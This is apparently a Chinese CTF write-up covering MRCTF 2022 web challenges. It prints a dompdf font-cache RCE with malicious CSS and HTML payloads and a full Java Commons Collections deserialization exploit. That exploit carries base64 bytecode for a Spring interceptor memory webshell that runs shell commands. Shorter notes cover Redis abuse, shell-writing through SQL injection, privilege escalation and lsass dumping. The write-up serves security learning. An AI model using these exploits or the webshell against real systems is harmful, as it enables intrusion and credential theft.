Web安全

MRCTF

Posted on 2022-04-24,7 min read

Tprint

/runtime/log/202204/23.log
有个Admin控制器
直接index.php?s=Admin
能文件上传。并且目录可控。但是不能跨到storage目录外

根目录有个指定文件名输出pdf的接口

/public/index.php?s=Printer/print&page=/public/storage/static/20220424/8af39fce798b3cd3bf2f7155488f9808.css

大概率就是打组件洞
google下发现最近出了个pdfdom的RCE。
https://github.com/positive-security/dompdf-rce
简单试了下。靶机貌似不出网
把所有文件都传到靶机上。靶机web通过报错知道是81端口
并且。github中的exploit_fonts.php在这题中不能直接用。嘚自己找个ttf。不能带<?
然后就一样了。
上传ttf的恶意文件
恶意的css

@font-face {
    font-family:'exploitfont';
    src:url('http://127.0.0.1:81/public/storage/static/20220424/cbf2066d1606641d7c2358b7d6f9daf1.php');
    font-weight:'normal';
    font-style:'normal';
  }

恶意的html

<!DOCTYPE html>
<html>
<head>
<style>
body {
    display: block;
    text-align: center;
}
</style>
</head>
<body>
<h1><link rel=stylesheet href='http://127.0.0.1:81/public/storage/static/20220424/0d527e00f4807b4bcf101c239866ea77.css'></h1></body></html>

接口触发。就行了。
然后找文件。由于web是在/的。可以访问到tp vendor目录
触发后文件生成在
vendor/dompdf/dompdf/lib/fonts/exploitfont-normal_md5(css中指向的php链接).php

WebCheckIn

绷不住了。只能传php。其他文件都是回显index。
php直接报new Error(1)异常就绕过了。
然后flag。。。。/var/log/dpkg.log

ezjava

先上exp

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;

public class main {

    public static void main(String[] args) throws Exception {
        byte[] bytes = ClassPool.getDefault().get(exp.class.getName()).toBytecode();
        byte[][] bytecode = new byte[][]{bytes};
        HashMap innermap = new HashMap();
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_bytecodes",bytecode);
        setField(templates,"_name","test");
        setField(templates,"_class",null);
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,new FactoryTransformer(new InstantiateFactory(TrAXFilter.class,new Class[]{Templates.class},new Object[]{templates})));

        TiedMapEntry tiedmap = new TiedMapEntry(map,123);

        HashSet hashset = new HashSet(1);
        hashset.add("foo");

        Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
        field.setAccessible(true);
        HashMap hashset_map = (HashMap) field.get(hashset);

        Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
        table.setAccessible(true);
        Object[] array = (Object[])table.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
            Path file = Paths.get("cc6");
            System.out.println(Base64.getEncoder().encodeToString(Files.readAllBytes(file)));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

exp.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.util.Base64Utils;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class exp extends AbstractTranslet {
    static {
        try {
            printName();
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public static void printName() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException, IOException {
        Runtime.getRuntime().exec("calc.exe");
        String className = "GuokeController";
        byte[] bytes = Base64Utils.decodeFromString("yv66vgAAADQAiAoAIABGCABHCwBIAEkLAEoASwgATAgATQoATgBPCgAMAFAIAFEKAAwAUgcAUwcAVAgAVQgAVgoACwBXCABYCABZBwBaCgALAFsKAFwAXQoAEgBeCABfCgASAGAKABIAYQoAEgBiCgASAGMKAGQAZQoAZABmCgBkAGMHAGcHAGgHAGkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEUxHdW9rZUNvbnRyb2xsZXI7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABndyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEY29kZQEADVN0YWNrTWFwVGFibGUHAFQHAGoHAFMHAFoHAGgHAGsHAGwHAG0HAGcBAApFeGNlcHRpb25zAQAKU291cmNlRmlsZQEAFEd1b2tlQ29udHJvbGxlci5qYXZhDAAhACIBAApndW9rZTEyMTM4BwBrDABuAG8HAGwMAHAAcQEAAAEAB29zLm5hbWUHAHIMAHMAbwwAdAB1AQADd2luDAB2AHcBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAhAHgBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAeQB6BwB7DAB8AH0MACEAfgEAAlxBDAB/AIAMAIEAggwAgwB1DACEACIHAGoMAIUAhgwAhwAiAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAD0d1b2tlQ29udHJvbGxlcgEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9IYW5kbGVySW50ZXJjZXB0b3JBZGFwdGVyAQATamF2YS9pby9QcmludFdyaXRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAEGphdmEvbGFuZy9PYmplY3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAAVjbG9zZQEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFZmx1c2gAIQAfACAAAAAAAAIAAQAhACIAAQAjAAAALwABAAEAAAAFKrcAAbEAAAACACQAAAAGAAEAAAAFACUAAAAMAAEAAAAFACYAJwAAAAEAKAApAAIAIwAAAboABgAJAAAArysSArkAAwIAOgQZBMYAoSy5AAQBADoFEgU6BhIGuAAHtgAIEgm2AAqZACK7AAtZBr0ADFkDEg1TWQQSDlNZBRkEU7cADzoHpwAfuwALWQa9AAxZAxIQU1kEEhFTWQUZBFO3AA86B7sAElkZB7YAE7YAFLcAFRIWtgAXOggZCLYAGJkACxkItgAZpwAFGQY6BhkItgAaGQUZBrYAGxkFtgAcGQW2AB2nAAU6BQOsBKwAAQAPAKYAqQAeAAMAJAAAAEYAEQAAAAcACgAIAA8ACgAXAAsAGwANACsADgBKABAAZgASAHwAEwCQABQAlQAVAJwAFgChABcApgAZAKkAGACrABoArQAcACUAAABmAAoARwADACoAKwAHABcAjwAsAC0ABQAbAIsALgAvAAYAZgBAACoAKwAHAHwAKgAwADEACAAAAK8AJgAnAAAAAACvADIAMwABAAAArwA0ADUAAgAAAK8ANgA3AAMACgClADgALwAEADkAAAA5AAf+AEoHADoHADsHADr8ABsHADz8ACUHAD1BBwA6/wAaAAUHAD4HAD8HAEAHAEEHADoAAQcAQgEBAEMAAAAEAAEAHgABAEQAAAACAEU");
        //控制器的bytecode
        ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        method.invoke(classLoader, className, bytes, 0, bytes.length);
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
        adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

cc链常用链式调用runtimeexec。要么就是实例化触发TrAXFilter然后打TemplatesImpl等
这里serializekill把中间的链子和runtime的利用点ban了。但是还是可以通过TraxFilter打Templatesimpl然后定义字节码。
同样的。cc6改改就行。
现在能触发任意的transform方法

触发任意的create方法

然后就是老链子了。

bonus系列

Just Hacking
redis 6379
进去拿docker的auths。pull一个flag私有容器。

Java_mem_shell_Basic
tomcat war部署

Java_mem_shell_Filter
log4j。dump jvm内存

Isass
/book/
admin 123456
后台有个添加的功能点。sql注入差异备份写shell
1day提system。dump lsass拿flag

下一篇: 2022红明谷初赛web→